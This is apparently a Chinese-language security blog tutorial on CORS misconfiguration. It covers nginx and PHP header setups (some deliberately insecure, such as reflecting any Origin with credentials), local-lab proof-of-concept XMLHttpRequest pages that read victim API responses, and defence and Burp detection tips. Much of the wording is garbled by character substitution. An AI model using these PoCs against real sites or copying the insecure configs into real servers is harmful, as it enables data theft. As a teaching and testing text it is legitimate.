0x1 CORS机制

CORS全名跨域资源共享(Cross-Origin-Resourece-sharing),该机制次要是解决浏览器同源策略所带来的不便,使不同域的利用可能忽视同源策略,进行信息传递。

援用一张图能很好地阐明CORS机制的作用

0x2 CORS机制实现

那么这个机制是怎么发挥作用的呢?

CORS的规范定义是:通过设置http头部字段,让客户端有资格跨域拜访资源。通过服务器的验证和受权之后,浏览器有责任反对这些http头部字段并且确保可能正确的施加限度。

为了更好了解这个过程,咱们首先理解下相干的http头部字段

申请头

阐明

响应头

阐明

那么这个机制,具体能够总结为上面这个图片

所有的申请实际上都曾经收回了,只不过浏览器解析的时候依据返回的http头部字段来选择性拦挡了而已。

0x3 如何配置CORS

0x3.1 配置中间件nginx实现CORS跨域

这个点我就从网上经典的例子来找的,其实默认这样设置存在很多问题,0x4的时候我会讲相应的攻打思路

我过后google了一下搜寻nginx配置跨域CORS)

经典配置一:

location / {      add_header Access-Control-Allow-Origin *;    add_header Access-Control-Allow-Methods 'GET, POST, OPTIONS';    add_header Access-Control-Allow-Headers 'DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization';    if ($request_method = 'OPTIONS') {        return 204;    }}

经典配置二:

location / {          add_header Access-Control-Allow-Origin $http_origin;        add_header Access-Control-Allow-Methods GET,POST,OPTIONS;        add_header Access-Control-Allow-Credentials true;        add_header Access-Control-Allow-Headers DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type;        add_header Access-Control-Max-Age 1728000;}

比拟正当的配置计划(加上白名单查看):

location / {   # 查看域名后缀 这里进行了查看   if ($http_origin ~ .test.com) {        add_header Access-Control-Allow-Origin $http_origin;        add_header Access-Control-Allow-Methods GET,POST,OPTIONS;        add_header Access-Control-Allow-Credentials true;        add_header Access-Control-Allow-Headers DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type;        add_header Access-Control-Max-Age 1728000;   }   # options申请不转给后端,间接返回204}

0x3.2 单服务PHP简略管制头部形式

当年某一个SSRF的破绽,我就是天真的没有设置跨域申请,不相熟,导致失落了一血,十分遗憾哇。

1.容许所有源

<?phpheader("Access-Control-Allow-Origin: *");?>

2.容许来自特定源的拜访

<?phpheader('Access-Control-Allow-Origin: '.$_SERVER['HTTP_ORIGIN']);?>

3.配置多个拜访源

<?php$allowed_origins   = array(                              "http://www.example.com"   ,                              "http://app.example.com"  ,                              "http://cms.example.com"  ,                            );  if (in_array($_SERVER['HTTP_ORIGIN'], $allowed_origins)){        @header("Access-Control-Allow-Origin: " . $_SERVER['HTTP_ORIGIN']);  }?>

0x3.3 ...

还有相当多的形式,具体能够参考Nginx 通过 CORS 实现跨域

0x4 攻打CORS的思路

0x4.1 一次失败的例子

这里我本人写一个简略的存在CORS破绽的服务为例子展现如何对此进行攻打(其实没方法攻打)。

<?phpheader("Access-Control-Allow-Origin: *");$value = "mySecretIs123456";setcookie("pass",$value, time()+3600*24);?><!DOCTYPE html><html><head>    <script>    window.onload = function(){        document.body.innerHTML = document.cookie;    }    </script></head><body></body></html>

能够看到咱们间接把cookie回显给了页面,过后我开掘腾讯的时候就遇到这样的一个例子

然而没想着怎么去利用,而后给疏忽了,不过过后如同也没开cors配置,毕竟是个test站点。

回到正题上,咱们该怎么对此进行攻打呢。

这里咱们编辑下/etc/hosts,减少两条解析记录

127.0.0.1 victim.com 26 127.0.0.1 attack.com

exp.php:

<html><head>    <script type="text/javascript">        window.onload = function cors() {        var xhttp = new XMLHttpRequest();        xhttp.onreadystatechange = function() {        if (this.readyState == 4 && this.status == 200) {        document.getElementById("demo").innerHTML =        alert(this.responseText);        }        };        xhttp.open("GET", "http://victim.com:8888/cors/vuln.php", true);        xhttp.send();        }    </script></head><body>    <textarea id="demo"></textarea></body></html>

而后咱们伪装受害者去拜访下:

后果返回的是html的源代码,没方法获取dom之后的后果,这其实也在我的意料之中因为浏览器不会去解析资源内容再返回,欢送徒弟们谈下这类型的信息透露有啥利用的思路。

0x4.2 API接口信息获取

这里分为两种状况:

第一种是无需cookie的,这种个别能够利用在比方限度了ip的waf,让管理员去申请敏感页面获取相应资源。

破绽代码如下:

apiVuln.php

<?phpheader("Access-Control-Allow-Origin: *");header("content-type:application/json");$info = array('user'=>'xq17', 'pass'=>'123456');echo json_encode($info); //json_encode对变量进行 JSON 编码

攻打代码如下:

<html><head>    <script type="text/javascript">        window.onload = function cors() {        var xhttp = new XMLHttpRequest();        xhttp.onreadystatechange = function() {        if (this.readyState == 4 && this.status == 200) {        document.getElementById("demo").innerHTML =        alert(this.responseText);        }        };        xhttp.open("GET", "http://victim.com:8888/cors/apiVuln.php", true);        xhttp.send();        }    </script></head><body>    <textarea id="demo"></textarea></body></html>

第二种是发送cookie利用登陆信息,而后申请鉴权的api获取敏感数据。

vuln.php

<?phpheader("Access-Control-Allow-Origin: *");session_start();if(@$_SESSION["user"] == "admin"){    //输入敏感信息    $info = array('user'=>'xq17', 'pass'=>'123456');    echo json_encode($info);}else{    echo "login fail!";    echo '<a href="login.php">登陆</a>';}?>

login.php

<?phpsession_start();$_SESSION["user"]="admin";header("Location:vuln.php");

这里咱们筹备下两个页面,当咱们尝试利用这样的poc来攻打的话

<html><head>    <script type="text/javascript">        window.onload = function cors() {        var xhttp = new XMLHttpRequest();        xhttp.onreadystatechange = function() {        if (this.readyState == 4 && this.status == 200) {        document.getElementById("demo").innerHTML =        alert(this.responseText);        }        };        xhttp.open("GET", "http://victim.com:8888/cors/vuln.php", true);        xhttp.withCredentials = false;        xhttp.send();        }    </script></head><body>    <textarea id="demo"></textarea></body></html>

咱们拜访 http://victim.com:8888/cors/vuln.php,而后点击登陆获取到登陆信息,而后咱们伪装成受害者点击http://attack.com:8888/cors/exp.php

能够看到这个接口是须要登陆信息的

然而如果咱们批改vuln.php成这样子呢

header("Access-Control-Allow-Origin: *");header("Access-Control-Allow-Credentials: true");

能够看到cookie确实发送了,也返回了对应的json数据,然而却没有被脚本接管到,因为脚本接管到数据得先问下浏览器反对不,咱们能够看下console就能够发现被禁止的起因了,因为

header("Access-Control-Allow-Origin: *");header("Access-Control-Allow-Credentials: true");

这样开启的跨域必定是不平安的,所以浏览器间接ban掉了这种配置形式。

这样也是不行的,咱们再尝试批改成:

header("Access-Control-Allow-Origin: http://attack.com:8888");header("Access-Control-Allow-Credentials: true");

这样便能够了获取到敏感信息了。

最初小结一下:

要害判断是否存在cors破绽

私有资源:Access-Control-Allow-Origin:*

受权信息:Access-Control-Allow-Credentials: true 同时 Access-Control-Allow-Origin:不为*

0x5 CORS进攻思路

  • 白名单
  • 规范化正则表达式
  • 只容许平安的协定如https
  • 防止应用Access-Control-Allow-Credentials为True
  • «应用框架的时候留神查看相干文档的用法,依据下面规定进行更正。

0x6 高效开掘CORS破绽的探讨

如何无效的探测cors破绽呢,最简略的就是咱们伪造一个xhr的申请去测试下能获取信息不,xhr申请有一个很显著的特色字段:Origin,这个也是浏览器判断是否同源的依据。

burp是反对简略的cors破绽扫描的

然而误报率很高,而且也须要本人去手工验证,这里我比拟举荐

就是咱们本人寻找一些要害的api接口,而后咱们让申请主动增加上Origin而后咱们在看返回包,来判断这样的话岂但精确而且很不便。

这个实现咱们能够用burp的替换性能来实现

proxy->options->Match and Replace->Add

勾选上这个即可。